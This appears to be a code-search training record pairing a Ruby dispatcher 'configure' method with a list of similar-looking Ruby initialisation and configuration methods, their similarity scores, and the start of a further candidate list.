"def configure( config )\n\t\tself.log.notice \"Configuring a dispatcher for '%s' from '%s': child server %d\" %\n\t\t\t[ Apache.request.server.hostname, config.name, Process.pid ]\n\n # Configure any modules that have mixed in Configurability\n\t\tif defined?( Apache )\n\t\t\trequire 'apache/logger'\n\t\t\tConfigurability.logger = Logger.new( Apache::LogDevice.new )\n\t\t\tConfigurability.logger.formatter = Apache::LogFormatter.new\n\t\telse\n\t\t\tConfigurability.reset_logger\n\t\tend\n\n \tConfigurability.configure_objects( config )\n\tend",
"def initialize(config)\n @reactor = config.reactor\n incoming = Address.from_string(config.incoming_endpoint.to_s)\n outgoing = Address.from_string(config.outgoing_endpoint.to_s)\n\n # setup the handlers for processing messages\n @handler_in = Handler.new(config, incoming, :in)\n @handler_out = Handler.new(config, outgoing, :out)\n\n # create each socket and pass in the appropriate handler\n @incoming_sock = @reactor.xrep_socket(@handler_in)\n @outgoing_sock = @reactor.xreq_socket(@handler_out)\n\n # set each handler's outgoing socket\n @handler_in.socket_out = @outgoing_sock\n @handler_out.socket_out = @incoming_sock\n end",
"def initialize(config)\n @reactor = config.reactor\n incoming = Address.from_string(config.incoming_endpoint.to_s)\n outgoing = Address.from_string(config.outgoing_endpoint.to_s)\n\n # setup the handlers for processing messages\n @handler_in = Handler.new(config, incoming)\n @handler_out = Handler.new(config, outgoing)\n\n # create each socket and pass in the appropriate handler\n @incoming_sock = @reactor.sub_socket(@handler_in)\n @outgoing_sock = @reactor.pub_socket(@handler_out)\n\n # set each handler's outgoing socket\n @handler_in.socket_out = @outgoing_sock\n @handler_out.socket_out = @incoming_sock\n end",
"def reconfigure(config)\n icfg = config.internal\n\n icfg.processing.coordinator_class = Processing::Coordinator\n icfg.processing.partitioner_class = Processing::Partitioner\n icfg.processing.scheduler = Processing::Scheduler.new\n icfg.processing.jobs_builder = Processing::JobsBuilder.new\n\n icfg.active_job.consumer_class = ActiveJob::Consumer\n icfg.active_job.dispatcher = ActiveJob::Dispatcher.new\n icfg.active_job.job_options_contract = ActiveJob::JobOptionsContract.new\n\n config.monitor.subscribe(PerformanceTracker.instance)\n end",
"def setup(_config={})\n config.merge!(_config)\n @backend = nil\n @raise_errors = nil\n end",
"def initialize(config)\n @config = config\n setup\n end",
"def initialize(config)\n @config = config\n setup_delivery\n end",
"def initialize(config = Beetle.config)\n @config = config\n @exchanges = {}\n @queues = {}\n @messages = {}\n @bindings = {}\n @deduplication_store = DeduplicationStore.new(config)\n @queue_properties = QueueProperties.new(config)\n load_brokers_from_config\n register_exchange(config.beetle_policy_exchange_name)\n # make sure dead lettering is false for the policy update queue\n register_queue(\n config.beetle_policy_updates_queue_name,\n :exchange => config.beetle_policy_exchange_name,\n :key => config.beetle_policy_updates_routing_key,\n :dead_lettering => false,\n :lazy => false,\n )\n end",
"def initialize(config = nil)\n @config = config\n setup\n end",
"def initialize configuration\n @queue=Queue.new\n @parser=instantiate_class(configuration.parser,configuration) if configuration.parser\n if configuration.runner\n if configuration.runner[:class]\n @runner=configuration.runner[:class].new(configuration.context,@queue)\n else\n raise RutemaError,\"Runner settting overriden, but missing :class\"\n end\n else\n @runner=Rutema::Runners::Default.new(configuration.context,@queue)\n end\n raise RutemaError,\"Could not instantiate parser\" unless @parser\n @dispatcher=Dispatcher.new(@queue,configuration)\n @configuration=configuration\n end",
"def connect_to_dispatcher( url )\n @dispatcher_connections ||= {}\n @dispatcher_connections[url] ||= Client::Dispatcher.new( opts, url )\n end",
"def initialize(config, &block)\n @logger = DXLClient::Logger.logger(self.class.name)\n\n @reply_to_topic = \"#{REPLY_TO_PREFIX}#{config.client_id}\"\n\n @subscriptions = Set.new\n @subscription_lock = Mutex.new\n\n @mqtt_client = MQTTClientAdapter.new(config)\n @connection_manager = ConnectionManager.new(config,\n @mqtt_client,\n object_id)\n @callback_manager = create_callback_manager(config)\n @request_manager = RequestManager.new(self, @reply_to_topic)\n @service_manager = ServiceManager.new(self)\n\n initialize_mqtt_client\n handle_initialization_block(block)\n end",
"def initialize(config)\n @indent = config[:indent].to_i || 0\n @pre_path = config[:path_prefix] || '/v1'\n @path_pos = @pre_path.split('/').length - 1\n base = config[:base] || '.'\n @model = Model.new((config['store.dir'] || File.join(base, 'data')).gsub('$BASE', base), indent)\n @type_key = config[:type_key] || 'kind'\n @logger = config[:logger]\n @logger.level = config[:verbosity] unless @logger.nil?\n @http_dir = (config['http.dir'] || File.join(base, 'pages')).gsub('$BASE', base)\n @http_port = (config['http.port'] || 6363).to_i\n @export_proxy = config[:export_proxy]\n @export_proxy = true if @export_proxy.nil? # The default is true if not present.\n @controllers = {}\n\n requires = config[:require]\n case requires\n when Array\n requires.each { |r| require r.strip }\n when String\n requires.split(',').each { |r| require r.strip }\n end\n\n if config[:handler].is_a?(Array)\n config[:handler].each { |hh| register_controller(hh[:type], hh[:handler]) }\n end\n end",
"def initialize(config)\n # [review] - Not sure if passing config here is best way to access it\n\n # Identify method entry\n debug_print \"#{ self } : #{ __method__ }\\n\"\n\n @config = config\n end",
"def dispatcher()\n require 'dispatch/dispatch'\n @dispatch = Dispatch.new\n @dispatch.start\n sleep\n end",
"def setup!\n Patches::Queue.apply!\n\n Sidekiq.configure_server do |config|\n config.on(:startup) { start_watcher }\n config.on(:quiet) { stop_watcher }\n\n @communicator.receive(PAUSE_MESSAGE, &method(:add))\n @communicator.receive(RESUME_MESSAGE, &method(:delete))\n @communicator.ready { sync! }\n end\n end",
"def initialize(config)\n @config = config\n end",
"def initialize(config)\n @config = config\n end",
"def configure(config)\n setup_logging(config[\"logging\"])\n\n @kairos_host = config[\"kairos_host\"]\n\n @port = config[\"port\"]\n @connection_pool = config[\"connection_pool\"]\n end",
"def initialize(config)\n @indent = config[:indent].to_i || 0\n @pre_path = config[:path_prefix] || '/v1'\n @path_pos = @pre_path.split('/').length - 1\n @tql_path = config[:tql_path] || '/tql'\n base = config[:base] || '.'\n @model = Model.new((config['store.dir'] || File.join(base, 'data')).gsub('$BASE', base), indent)\n @type_key = config[:type_key] || 'kind'\n @logger = config[:logger]\n @logger.level = config[:verbosity] unless @logger.nil?\n @http_dir = (config['http.dir'] || File.join(base, 'pages')).gsub('$BASE', base)\n @http_port = (config['http.port'] || 6363).to_i\n @export_proxy = config[:export_proxy]\n @export_proxy = true if @export_proxy.nil? # The default is true if not present.\n @controllers = {}\n @mounts = config[:handler] || []\n\t@server = config['http.server'].to_s.downcase\n requires = config[:require]\n case requires\n when Array\n requires.each { |r| require r.strip }\n when String\n requires.split(',').each { |r| require r.strip }\n end\n end",
"def initialize(config)\n @config = config\n end",
"def initialize(config)\n @config = config\n end",
"def initialize(config)\n @config = config\n end",
"def initialize(config: nil, block: true)\n # create a channel and exchange that both client and server know about\n config ||= CarrotRpc.configuration\n @thread_request_variable = config.thread_request_variable\n @channel = config.bunny.create_channel\n @logger = config.logger\n @block = block\n setup_queue(config)\n @exchange = @channel.default_exchange\n end",
"def configure(config)\n @index = config[\"index\"].to_i\n setup_logging(config[\"logging\"])\n\n @deployment_name = config[\"deployment_name\"] || \"untitled_dev\"\n\n tsdb_config = config[\"tsdb\"] || {}\n @tsdb_host = tsdb_config[\"host\"]\n @tsdb_port = tsdb_config[\"port\"]\n\n aws_config = config[\"aws_cloud_watch\"] || {}\n @aws_access_key_id = aws_config[\"access_key_id\"]\n @aws_secret_access_key = aws_config[\"secret_access_key\"]\n\n datadog_config = config[\"datadog\"] || {}\n @datadog_api_key = datadog_config[\"api_key\"]\n @datadog_application_key = datadog_config[\"application_key\"]\n @datadog_data_threshold = datadog_config.fetch(\"data_threshold\", 1000).to_i\n @datadog_time_threshold_in_seconds = datadog_config.fetch(\"time_threshold_in_seconds\", 10).to_i\n\n cf_metrics_config = config[\"cf_metrics\"] || {}\n @cf_metrics_api_host = cf_metrics_config[\"host\"]\n\n graphite_config = config[\"graphite\"] || {}\n @graphite_host = graphite_config[\"host\"]\n @graphite_port = graphite_config[\"port\"]\n\n @nats_uri = config[\"message_bus_uris\"]\n\n intervals = config[\"intervals\"]\n\n @discover_interval = intervals[\"discover\"] || 60\n @varz_interval = intervals[\"varz\"] || 10\n @healthz_interval = intervals[\"healthz\"] || 5\n @prune_interval = intervals[\"prune\"] || 300\n @nats_ping_interval = intervals[\"nats_ping\"] || 10\n @local_metrics_interval = intervals[\"local_metrics\"] || 10\n end",
"def set_config(config)\n\t\tend",
"def initialize(config)\n case config\n when String\n @config = Snooper::Config.load config\n else\n @config = config\n end\n end",
"def configure(conf)\n super\n setfifo(conf)\n end",
"def set_admin_dispatcher\n @admin_dispatcher = Admin::Dispatcher.find(params[:id])\n end",
"def create_dispatcher(version, framework)\n command = RpcCommandFactory.create(version, framework)\n dispatcher = Dispatcher.new(framework)\n dispatcher.set_command(command)\n\n dispatcher\n end",
"def initialize(config)\n @registered = false;\n @logger = Service.get_logger\n @name = config['name']\n @dependencies = config['dependencies']\n config['api_modules'] << API::Base\n @keys = Keys.new\n @served_key = @keys.gen\n @responses = {}\n\n @served_object = ServedObject.new(self,\n @served_key, config['api_modules'])\n\n # allow special methods in development and testing environments\n Util.environment_apis(@served_object, @served_key)\n\n models, controller_class = require_libraries\n\n @models = {}\n add_models(models)\n\n @authenticator = Service.get 'Authenticator'\n @manager = Service.get 'Manager'\n\n # must be after add_models as controller creates a whitelist\n # of what can be called and that list needs to include the models\n # for CRUD to work\n @controller = controller_class.new(self, @manager) if controller_class\n\n# need = @client.dependencies_not_satisfied(@dependencies)\n# if need != []\n# puts 'Dependencies not met: ' + need.join(\",\")\n# end\n\n @uri = Service.start @name, @served_object\n @manager.register_component(@name)\n @registered = true\n at_exit {\n if @registered\n @manager.unregister_component(@name)\n end\n Service.stop\n ActiveRecord::Base.remove_connection\n }\n\n self\n end",
"def initialize(config)\n end",
"def initialize(config)\n end",
"def initialize(config = nil)\n @config = config\n end",
"def configure(config)\n setup_logging(config[\"logging\"])\n\n @kairos_host = config[\"kairos_host\"]\n\n @kairos_port = config[\"kairos_port\"]\n\n @rabbit_host = config[\"rabbit_host\"]\n @rabbit_user = config[\"rabbit_user\"]\n @rabbit_port = config[\"rabbit_port\"]\n @rabbit_pwd = config[\"rabbit_pwd\"]\n\n @connection_pool = config[\"connection_pool\"]\n\n @interval = config[\"interval\"]\n end",
"def initialize(config = {})\n @connection = nil\n init_config(config)\n end",
"def initialize(config = {})\n @config = config\n end",
"def initialize(config)\n @events = []\n log_an_event \"TestSession\", \"Created config=#{config}\"\n end",
"def initialize\n set_config\n end",
"def configure(config = {})\n config[:zookeeper_quorum] ||= 'localhost'\n config[:zookeeper_client_port] ||= '2181'\n\n @config = config\n\n init_connection\n end",
"def initialize(config)\n\t\tend",
"def initialize(config={})\n @config = config\n end",
"def initialize( config )\n\t\t\t@config = config\n\t\t\t@targets = nil\n\t\t\t@cancelled = false\n\t\tend",
"def initialize(config)\n @rforce_binding = RforceBinding.new(config[:url], config[:login], config[:password])\n end",
"def config\n SimpleNavigation::Configuration.instance\n end",
"def setup(options = {})\n setup_events(options)\n setup_broadcast\n end",
"def initialize(config)\n super\n @connection = Faraday.new(url: (config['rest']).to_s) do |builder|\n builder.response :json\n builder.response :logger if config['debug']\n builder.adapter(@adapter)\n unless config['verify_ssl'].nil?\n builder.ssl[:verify] = config['verify_ssl']\n end\n end\n @ping_set = false\n @rest = (config['rest']).to_s\n @ws_url = (config['websocket']).to_s\n end",
"def initialize(config = {})\n init_config(config)\n end",
"def initialize(config = {})\n init_config(config)\n end",
"def initialize(config = {})\n init_config(config)\n end",
"def config=(config); end",
"def initialize(config={})\n @config = Config.new(config)\n @auth = Auth.new(@config)\n @post = Post.new(@config, @auth)\n @topic = Topic.new(@config, @auth)\n\n type = @config.type\n raise ConfigError.new(\"Missing 'type' key in configuration\") unless type\n\n extend eval(\"Impostor::#{type.to_s.capitalize}\")\n end",
"def initialize(config)\n self.zconfig = Zapi::Zconfig.new(config)\n\t\t\t savon_setup\n $session = self\t\n\t\t end",
"def initialize(config_hash = {})\n @config = config_hash\n @message_handlers = []\n end",
"def initialize fiat_config\n @fiat_config = fiat_config\n @logger = FiatdLogger.new(@fiat_config[:fiat][:log_level])\n @fiat_server = FiatdServer.new(@logger)\n @conn = Bunny.new(@fiat_config[:rabbitmq]).tap {|conn| conn.start}\n @ch = @conn.create_channel\n @busy = false\n @resending = true\n end",
"def initialize config={}, &block\n @config = config\n\n\n widget_shortcuts_init\n @variables = {}\n # if we are creating child objects then we will not use outer form. this object will manage\n #@current_object = [] # 2014-08-29 - 17:35 unused\n @_system_commands = %w{ bind_global bind_component field_help_text }\n\n init_vars\n $log.debug \"XXX APP CONFIG: #{@config} \" if $log.debug? \n run &block\n end",
"def setup_config\n # To be Extended\n end",
"def initialize(config, engine_name)\n @config = config\n @engine_name = engine_name\n end",
"def initialize(context, next_middleware = nil, config = {})\n @_context = context\n @next_middleware = next_middleware\n @config = config\n end",
"def configure\n reconfigure_notifier\n end",
"def configure\n reconfigure_notifier\n end",
"def configure\n\n # Give the bot a handle to config and handler\n conf = @config\n\n # Configure the bot\n @bot = Isaac::Bot.new\n @bot.configure{|c|\n c.server = conf[:server]\n c.port = conf[:port]\n c.ssl = conf[:ssl]\n c.nick = conf[:nick]\n c.password = conf[:password]\n c.realname = conf[:name]\n\n c.environment = :production\n c.verbose = conf[:verbose] || false \n c.log = $log\n }\n\n end",
"def setup_config(config=nil, &block)\n @config = config || ConfigStruct.block_to_hash(block)\n end",
"def _configure &blk\n proxy = @receiver == @receiver_class ? self.dup : self\n proxy.__configure = blk\n proxy\n end",
"def dispatcher(session,context,dispatch_destination = nil)\n @myclass.Dispatcher.dispatch(session,context,dispatch_destination)\n end",
"def initialize(config) # trackers, domain\n @@config = config\n check_config\n end",
"def configure(config_obj=nil)\n if @config.nil? and config_obj.nil?\n raise StandardError, \"Need to supply Woodchuck::Config object\"\n elsif @config.nil?\n @config = config_obj \n end\n \n # Set up all the log sources\n input_types = Woodchuck::Input.class_variable_get(:@@input_types)\n @config.inputs.each do |type,sources|\n klass = input_types[type]\n if klass.nil?\n raise StandardError, \"Unknown input type of #{type}\"\n end\n sources.each do |settings|\n settings[:queue] = @output_queue.clone\n @inputs << Woodchuck::Input::const_get(klass).new(settings)\n end\n end\n \n # Setup all the filters \n\n \n # Setup all the output locations\n output_types = Woodchuck::Output.class_variable_get(:@@output_types)\n @config.outputs.each do |type,destinations|\n klass = output_types[type]\n if klass.nil?\n raise StandardError, \"Unknown output type of #{type}\"\n end\n destinations.each do |settings|\n @outputs << Woodchuck::Output::const_get(klass).new(settings)\n end\n end\n \n #options[:log_level] ||= :info\n #@logger = Woodchuck::Logger.new(::STDOUT)\n #@logger.level = options[:log_level]\n \n self\n end",
"def initialize(config = {})\n @config = {\n sales_path: '/sales/v1',\n finance_path: '/finance/v1',\n mode: 'Robot.XML',\n version: '1_0'\n }.merge(config)\n end",
"def reconfig(config)\n self.config = config\n end",
"def initialize(trigger, config)\n @trigger = trigger.to_sym\n @config = config\n end",
"def setup_queue\n Thread.current[:carrot] = Carrot.new(:host=>'mediashelf1.dtic.dk')\n @q = Carrot.queue(@queue_name)\n end",
"def configure\n end",
"def run\n capture_signals\n load_config\n\n EM.synchrony do\n connect\n start_throttle\n end\n end",
"def initialize(config)\n @config = defaults.merge(config)\n raise(ArgumentError, 'Root object must not be null.') unless @config[:root]\n @server = TCPServer.new(@config[:host], @config[:port])\n end",
"def setup\n\n\tsb = ServerBroker.new\n\tcb = ClientBroker.new(sb)\n\tcp = ClientProxy.new(cb)\n\n\tClient.new(cp)\n\nend",
"def refresh_realtime_feed!(config, reload_transit_realtime=true)\n\n if config.handler.present?\n klass = config.handler.constantize\n else\n klass = GTFS::Realtime::RealtimeFeedHandler\n end\n\n handler = klass.new(gtfs_realtime_configuration: config)\n handler.process\n end",
"def initialize(configfile=nil)\n \n # set up the logging...\n unless logger()\n self.logger = Logger.new(STDOUT)\n end\n [Message, Connection, PluginManager, Plugin].each do |klass|\n klass.logger ||= self.logger\n end\n\n @config = Config.new(configfile) # this stays the same across all start calls!\n @state = SynchronizedHash.new\n\n @connection = nil\n end",
"def config=(config)\n @config = config\n end",
"def do_setup(config)\n require File.join(config.root.join('config', 'environment'))\n\n # force eager load of Rails and application irrespective of config\n # context: require 'source' is not atomic or thread-safe, i.e. race conditions can occur if a class is required inside multiple threads at the same time\n rc = Rails.application.config\n rc.eager_load_namespaces.each(&:eager_load!) unless rc.eager_load # if true, already happened\n\n filename = call_hook(:stdout_filename)\n # puts \"stdout to: #{filename} #{Rails.root}\"\n\n if filename\n STDIN.reopen(\"/dev/null\")\n STDOUT.reopen(filename, \"a\")\n STDERR.reopen(STDOUT)\n end\n puts \"starting rails\"\n call_hook(:setup)\n end",
"def setup(container)\n\t\t\t\tcontainer.run(name: self.name, restart: true, **@command.container_options) do |instance|\n\t\t\t\t\tAsync do |task|\n\t\t\t\t\t\t# Load one app instance per container:\n\t\t\t\t\t\tapp = self.load_app\n\t\t\t\t\t\t\n\t\t\t\t\t\ttask.async do\n\t\t\t\t\t\t\tif @debug_trap.install!\n\t\t\t\t\t\t\t\tConsole.logger.info(instance) do\n\t\t\t\t\t\t\t\t\t\"- Per-process status: kill -USR1 #{Process.pid}\"\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t@debug_trap.trap do\n\t\t\t\t\t\t\t\tConsole.logger.info(self) do |buffer|\n\t\t\t\t\t\t\t\t\ttask.reactor.print_hierarchy(buffer)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tserver = Falcon::Server.new(app, @bound_endpoint, protocol: @endpoint.protocol, scheme: @endpoint.scheme)\n\t\t\t\t\t\t\n\t\t\t\t\t\tserver.run\n\t\t\t\t\t\t\n\t\t\t\t\t\tinstance.ready!\n\t\t\t\t\t\t\n\t\t\t\t\t\ttask.children.each(&:wait)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def configure\n self.configuration ||= Configuration.new\n yield(configuration)\n self.sender = Sender.new(configuration)\n end",
"def configure &blk\n instance_eval &blk\n end",
"def initialize(config_obj=nil)\n @config = config_obj\n @inputs = []\n @filters = []\n @outputs = []\n @output_queue = SizedQueue.new(20)\n @mutex = Mutex.new\n end",
"def config(config = nil)\n if config.nil?\n return @config\n end\n\n @config = config\n\n @banner = \"Welcome to #{config['name']}!\\n\"\n @game_dir = Pathname.new(File.join(Dir.pwd, config['game'] || 'game')).cleanpath.to_s\n if !File.directory?(@game_dir)\n puts \"Game directory (#{config['game']} does not exist\"\n exit 0\n end\n\n if File.file?(File.join(@game_dir, 'text', 'welcome.txt'))\n @banner = File.read(File.join(@game_dir, 'text', 'welcome.txt'))\n end\n\n @compiler = SecondContract::Parser::Script.new\n @parser = Grammar.new\n @binder = SecondContract::IFLib::Sys::Binder.instance\n @archetypes = {}\n @pending_archetypes = SecondContract::Game::SortedHash.new(:archetype)\n @pending_qualities = SecondContract::Game::SortedHash.new(:mixins)\n @mixins = {}\n @verbs = {}\n @adverbs = {}\n @comm_verbs = {}\n @constants = config['constants'] || {}\n @characters = []\n @bindings = []\n @domains = {}\n\n @events = []\n\n @pending = []\n\n @message_parser = SecondContract::Parser::Message.new\n @message_formatter = SecondContract::Compiler::Message.new\n self\n end",
"def initialize\n #load_config\n load_routes\n end",
"def configure(&block)\n config.run_callbacks(:configure) do\n config.instance_eval(&block)\n end\n end",
"def init(config)\n @config = config\n @inited = true\n @log_times = config.delete(:log_times)\n # Default to true\n @log_times = true if @log_times.nil?\n\n # Let's not create a session_pool unless we're going to use it\n @session_pool_mutex = Mutex.new\n\n @connection = ::JMS::Connection.new(config)\n @connection.start\n\n at_exit do\n close\n end\n end",
"def set_dispatch\n @dispatch = Dispatch.find(params[:id])\n end",
"def initialize(config, &block)\n fail 'Configuration object is required' if config.nil?\n\n @config = config\n @recording_number = 0\n\n # We use block.call(self) here deliberately so that we pass\n # along a reference to the *recorder* and not just the *capturer*.\n @_capturer = Sunra::Utils::Capture.new(config) do\n block.call(self)\n end\n\n end",
"def initialize(config)\n @config = config\n @host = config[:host] || config[:server_ip]\n @port = config[:port]\n @path = config[:path]\n @nonblock = config[:nonblock] != false\n @timeout = [0, config[:timeout] || 5].max\n @app = config[:app]\n @parser = HTTP::Parser.new\n end",
"def initialize reactor, incoming, outgoing, debug = false\n incoming = Address.from_string incoming if incoming.kind_of? String\n outgoing = Address.from_string outgoing if outgoing.kind_of? String\n\n # setup the handlers for processing messages\n @handler_in = Handler.new reactor, incoming, debug, :in\n @handler_out = Handler.new reactor, outgoing, debug, :out\n\n # create each socket and pass in the appropriate handler\n @incoming = reactor.xrep_socket @handler_in\n @outgoing = reactor.xreq_socket @handler_out\n\n # set each handler's outgoing socket\n @handler_in.socket_out = @outgoing\n @handler_out.socket_out = @incoming\n end",
"def configure(&blk)\n instance_eval &blk\n end",
"def setup\n setup_requeue_queue\n consume_requeue\n setup_retry_queues\n end",
"def initialize(config = {})\n super\n @config = config\n end",
"def initialize(\n logger: Logger.new($stdout),\n logger_stderr: Logger.new($stderr),\n config: Config.new,\n cmd_runner: CmdRunner.new,\n platforms_handler: PlatformsHandler.new,\n nodes_handler: NodesHandler.new,\n actions_executor: ActionsExecutor.new\n )\n init_loggers(logger, logger_stderr)\n @config = config\n @cmd_runner = cmd_runner\n @platforms_handler = platforms_handler\n @nodes_handler = nodes_handler\n @actions_executor = actions_executor\n @platforms_handler.inject_dependencies(nodes_handler: @nodes_handler, actions_executor: @actions_executor)\n end",
"def configure(config = nil, &block)\n config ||= Util::BlockHashBuilder.build(&block)\n @config = config.dup.freeze\n end",
"def initialize(cfg)\n # Set default values\n cfg[:poll_interval] ||= 0.1\n\n # Initialize instance members\n # Trick for the connection_options is to allow settings WMQ constants directly in broker.yml :))\n @connection_options = cfg.each_pair {|key, value| cfg[key] = instance_eval(value) if (value.instance_of?(String) && value.match(\"WMQ::\")) }\n @queue_names = []\n @current_queue = 0\n @queues = {}\n end",
"def initialize(config)\n raise TypeError, \"'config' needs to be a string\" unless config.is_a?(String)\n raise TypeError, \"Configuration file '#{config}' cannot be found\" unless File.exist? config\n\n begin\n # open base config\n @config = load(config)\n # set default value if key? does not exist\n @config.default = nil\n @@config = config\n rescue StandardError => e\n print_error \"Fatal Error: cannot load configuration file '#{config}' : #{e.message}\"\n print_more e.backtrace\n exit(1)\n end\n\n @@instance = self\n end",
"def initialize(config=nil, name=nil, klass=nil)\n @name = name.nil? ? self.class.name : name\n @klass = klass.nil? ? self.class.name : klass\n @config = config\n end",
"def initialize(name, config)\n @name = name\n @config = Hashr.new(config)\n @shell = nil\n\n if block_given?\n connect\n yield(self) if block_given?\n close\n end\n end"
] | [
"0.64778095",
"0.6233456",
"0.6176466",
"0.5847911",
"0.5816586",
"0.5766625",
"0.5562188",
"0.5535949",
"0.5512622",
"0.55065244",
"0.54957205",
"0.5495665",
"0.5370169",
"0.53425545",
"0.53371906",
"0.5304126",
"0.52975297",
"0.52975297",
"0.5279543",
"0.5247904",
"0.5214291",
"0.5214291",
"0.5214291",
"0.5208591",
"0.51989627",
"0.5141581",
"0.5108625",
"0.5108625",
"0.50828195",
"0.5082318",
"0.504277",
"0.5036977",
"0.5036977",
"0.5020084",
"0.5016516",
"0.49835208",
"0.4966061",
"0.49580127",
"0.49543014",
"0.49542195",
"0.49256986",
"0.49255958",
"0.49165842",
"0.49135143",
"0.49064723",
"0.49021292",
"0.48955178",
"0.48927274",
"0.48927274",
"0.48927274",
"0.48761976",
"0.48596656",
"0.4859314",
"0.48320192",
"0.4831981",
"0.48213586",
"0.48210934",
"0.47842255",
"0.47799727",
"0.47779962",
"0.47779962",
"0.47778508",
"0.47756177",
"0.47754946",
"0.47753397",
"0.47727296",
"0.47541392",
"0.47383308",
"0.47334316",
"0.47221306",
"0.47152987",
"0.47143757",
"0.47140527",
"0.47128242",
"0.47014016",
"0.4696419",
"0.4691535",
"0.46896118",
"0.46866792",
"0.46766257",
"0.46736586",
"0.46734744",
"0.46721205",
"0.46658984",
"0.4661291",
"0.4647668",
"0.4644071",
"0.4635926",
"0.46343035",
"0.46322775",
"0.46292368",
"0.46273476",
"0.46253905",
"0.4624718",
"0.46174914",
"0.46058172",
"0.46033216",
"0.4594444",
"0.45926708",
"0.45907223"
] | 0.7028642 | 0 |
(Re)configure the dispatcher based on the values in the given +config+ (an Arrow::Config object). | def configure( config )
self.log.notice "Configuring a dispatcher for '%s' from '%s': child server %d" %
[ Apache.request.server.hostname, config.name, Process.pid ]
# Configure any modules that have mixed in Configurability
if defined?( Apache )
require 'apache/logger'
Configurability.logger = Logger.new( Apache::LogDevice.new )
Configurability.logger.formatter = Apache::LogFormatter.new
else
Configurability.reset_logger
end
Configurability.configure_objects( config )
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def reconfig(config)\n self.config = config\n end",
"def reconfigure(config)\n icfg = config.internal\n\n icfg.processing.coordinator_class = Processing::Coordinator\n icfg.processing.partitioner_class = Processing::Partitioner\n icfg.processing.scheduler = Processing::Scheduler.new\n icfg.processing.jobs_builder = Processing::JobsBuilder.new\n\n icfg.active_job.consumer_class = ActiveJob::Consumer\n icfg.active_job.dispatcher = ActiveJob::Dispatcher.new\n icfg.active_job.job_options_contract = ActiveJob::JobOptionsContract.new\n\n config.monitor.subscribe(PerformanceTracker.instance)\n end",
"def set_config(config)\n\t\tend",
"def configure(config={})\n config.each do |(key, val)|\n self.config[key] = val\n end\n end",
"def config=(config); end",
"def config=(config)\n raise ::ArgumentError, 'config must be a Hash' unless config.is_a?(Hash)\n\n @class_name = config[:class_name] if config[:class_name]\n\n @rename_attrs = config[:rename_attrs] if config[:rename_attrs]\n\n if config[:exclude_attrs_on_create]\n @exclude_attrs_on_create = config[:exclude_attrs_on_create]\n end\n\n if config[:exclude_attrs_on_update]\n @exclude_attrs_on_update = config[:exclude_attrs_on_update]\n end\n\n @associations = config[:associations] if config[:associations]\n\n super(*configs)\n end",
"def call_after_configuration(config)\n @after_configuration.each { |block| block.call(config) }\n end",
"def reload(config)\n # ...\n end",
"def configure(config = nil, &block)\n config ||= Util::BlockHashBuilder.build(&block)\n @config = config.dup.freeze\n end",
"def initialize( name, config )\n\t\t@name = name\n\t\t@config = config\n\n\t\t@broker = Arrow::Broker.new( config )\n\t\tself.configure( config )\n\trescue ::Exception => err\n\t\tmsg = \"%s while creating dispatcher: %s\\n%s\" %\n\t\t\t[ err.class.name, err.message, err.backtrace.join(\"\\n\\t\") ]\n\t\tself.log.error( msg )\n\t\tmsg.gsub!( /%/, '%%' )\n\t\tApache.request.server.log_crit( msg ) unless !defined?( Apache )\n\tend",
"def reconfigure(overrides={})\n config.merge!(overrides)\n self\n end",
"def setup(_config={})\n config.merge!(_config)\n @backend = nil\n @raise_errors = nil\n end",
"def configure\n reconfigure_notifier\n end",
"def configure\n reconfigure_notifier\n end",
"def set_config(config)\n @config = config\n validate_config\n end",
"def reload_config\n @config = nil\n end",
"def reload_config!\n @config = nil\n load_config!\n self\n end",
"def config=(a_config)\n @config = a_config\n end",
"def refresh_realtime_feed!(config, reload_transit_realtime=true)\n\n if config.handler.present?\n klass = config.handler.constantize\n else\n klass = GTFS::Realtime::RealtimeFeedHandler\n end\n\n handler = klass.new(gtfs_realtime_configuration: config)\n handler.process\n end",
"def configure(config)\n @index = config[\"index\"].to_i\n setup_logging(config[\"logging\"])\n\n @deployment_name = config[\"deployment_name\"] || \"untitled_dev\"\n\n tsdb_config = config[\"tsdb\"] || {}\n @tsdb_host = tsdb_config[\"host\"]\n @tsdb_port = tsdb_config[\"port\"]\n\n aws_config = config[\"aws_cloud_watch\"] || {}\n @aws_access_key_id = aws_config[\"access_key_id\"]\n @aws_secret_access_key = aws_config[\"secret_access_key\"]\n\n datadog_config = config[\"datadog\"] || {}\n @datadog_api_key = datadog_config[\"api_key\"]\n @datadog_application_key = datadog_config[\"application_key\"]\n @datadog_data_threshold = datadog_config.fetch(\"data_threshold\", 1000).to_i\n @datadog_time_threshold_in_seconds = datadog_config.fetch(\"time_threshold_in_seconds\", 10).to_i\n\n cf_metrics_config = config[\"cf_metrics\"] || {}\n @cf_metrics_api_host = cf_metrics_config[\"host\"]\n\n graphite_config = config[\"graphite\"] || {}\n @graphite_host = graphite_config[\"host\"]\n @graphite_port = graphite_config[\"port\"]\n\n @nats_uri = config[\"message_bus_uris\"]\n\n intervals = config[\"intervals\"]\n\n @discover_interval = intervals[\"discover\"] || 60\n @varz_interval = intervals[\"varz\"] || 10\n @healthz_interval = intervals[\"healthz\"] || 5\n @prune_interval = intervals[\"prune\"] || 300\n @nats_ping_interval = intervals[\"nats_ping\"] || 10\n @local_metrics_interval = intervals[\"local_metrics\"] || 10\n end",
"def config=(config)\n @config = config\n end",
"def switch_config(config)\n @config = config\n @window.change_bg_color(config.bgColor)\n @window.change_text_color(config.textColor)\n @window.change_font_name(config.fontName)\n self.set_prompt(config.prompt)\n config.activate\n end",
"def clear_if_config_changed(config); end",
"def configure(&block)\n config.run_callbacks(:configure) do\n config.instance_eval(&block)\n end\n end",
"def onConfigurationChanged(newConfig)\n super\n # Forward the new configuration to the drawer toggle.\n @drawerToggle.onConfigurationChanged(newConfig)\n end",
"def setup(config={})\n if block_given?\n yield(self.config.dup)\n end\n # merge new settings\n self.configure(config)\n end",
